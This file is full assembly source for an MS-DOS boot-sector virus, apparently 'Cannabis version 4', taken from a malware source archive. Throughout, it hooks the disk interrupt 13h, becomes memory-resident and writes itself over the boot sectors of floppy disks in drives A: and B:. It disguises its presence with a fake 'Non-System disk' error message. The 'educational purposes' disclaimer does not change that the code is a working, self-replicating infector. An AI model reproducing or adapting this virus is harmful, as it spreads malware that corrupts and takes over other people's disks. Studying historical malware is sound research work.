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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.cannab4.asm

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2021-01-12 23:34:47 +00:00
;****************************************************************************
;* Cannabis version 4
;*
;* Compile with TASM 2.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
BASE equ 7C00
org 0
begin: jmp start
org 3
db 'CANNABIS' ;BIOS parameter block
dw 0200
db 2
dw 1
db 2
dw 112d
dw 720d
db 0FDh
dw 2
dw 9
dw 2
dw 0
org 3E
start: cld ;initialise segments + stack
cli
xor ax,ax
mov ss,ax
mov ds,ax
mov sp,7C00
mov bx,offset ni13+BASE ;check int13 vector
mov ax,ds:[4*13]
cmp ax,bx
je installed
mov ds:[oi13+BASE],ax ;save old vector
mov ax,ds:[4*13+2]
mov di,400
mov ds:[oi13+2+BASE],ax
mov ax,ds:[di+13]
dec ax
mov cl,6
mov ds:[di+13],ax
shl ax,cl
sub ax,07C0
mov cx,0200 ;copy virus to top
mov di,sp
mov es,ax
mov si,sp
rep movsb
mov ds:[4*13+2],es ;set new vector
mov ds:[4*13],bx
installed: xor ax,ax
push ss
pop es
mov bx,0078
lds si,ss:[bx] ;ds:si = int 1E (=table ptr)
push ds
push si
push ss
push bx
mov cx,0bh
mov di,7C3Eh ;move table -> ds:7C3E
rep movsb
push es
pop ds
mov cx,ds:[7C18]
mov byte ptr [di-2], 0fh
mov [bx+2],ax
mov [di-7],cl
mov word ptr [bx],7C3E
sti
int 13 ;reset disk
jc error
mov cx,ds:[7C13] ;number of sectors
mov ds:[7C20],cx
mov ax,ds:[7C16] ;calculate root-entry (FAT)
shl ax,1
inc ax
mov ds:[7C49],ax ;save value
mov ds:[7C50],ax
mov ax,ds:[7C11] ;calculate IO.SYS entry
mov cl,4
shr ax,cl
add ds:[7C49],ax
mov ax,ds:[7C50]
mov bx,0500
call readsector
jc error
cmp word ptr [bx], 'OI' ;IO.SYS ?
jne ibmtest
cmp word ptr [bx+20], 'SM' ;MSDOS.SYS ?
je continue
jmp short error
ibmtest: cmp word ptr [bx], 'BI' ;IBMBIO.COM ?
jne error
cmp word ptr [bx+20], 'BI' ;IBMDOS.COM ?
je continue
error: mov si,offset errortxt+BASE ;print error-message
call print
xor ax,ax
int 16 ;wait for keypress
pop si ;restore int 1E vector
pop ds
pop [si]
pop [si+2]
int 19 ;boot again...
continue: mov cx,3 ;at ds:0700
mov bx,0700
mov ax,ds:[7C49]
nextsec: call readsector
jc error
add bx,0200
inc ax
loop nextsec
mov dl,0
mov ch,ds:[7C15] ;go to begin IO.SYS
mov bx,ds:[7C49]
mov ax,0
db 0EA, 0, 0, 70, 0
;****************************************************************************
;* Read a sector
;****************************************************************************
readsector: push cx
push ax
div byte ptr ds:[7C18] ;al=sec/9 (0-160) ah=sec. (0-8)
cwd
inc ah ;ah=1-9 (sector)
shr al,1 ;al=0-80 (track)
adc dh,0 ;dh=0/1 (head) dl=0 (drive)
xchg ah,al
mov cx,0201
xchg ax,cx
int 13
pop ax
pop cx
return: ret
;****************************************************************************
;* Print message
;****************************************************************************
print: lodsb
or al,al
jz return
mov ah,0Eh
mov bx,7
int 10
jmp short print
;****************************************************************************
;* Int 13 handler
;****************************************************************************
ni13: push ax
push ds
cmp ah,4 ;funktion 0-4?
ja cancel
cmp ch,1
ja cancel
test dx,0FFFEh ;drive A: or B: ? (head=0)
jnz cancel
xor ax,ax
mov ds,ax
infect: push cx
push bx
push di
push si
push es
mov ax,0201 ;read bootsector at 7E00
mov bx,7E00
mov cx,1
push cs
push cs
pop ds
pop es
pushf
push cs
call orgint13
jc exit
mov di,7C0Bh ;move BPB to virus
mov cl,33
mov si,7E0Bh
rep movsb
mov ax,0301 ;write virus to boot-sector
mov bx,7C00
mov cx,1
pushf
push cs
call orgint13
exit: pop es
pop si
pop di
pop bx
pop cx
cancel: pop ds
pop ax
orgint13: jmp dword ptr cs:[oi13+BASE] ;original vector
;****************************************************************************
;* Data
;****************************************************************************
oi13 dw ?,? ;original int 13 vector
errortxt db 0Dh, 0Ah, 'Non-System disk or disk error'
db 0Dh, 0Ah, 'Replace and press a key when ready'
db 0Dh, 0Ah, 0
org 01FEh
db 55, 0AA
cseg ends
end begin
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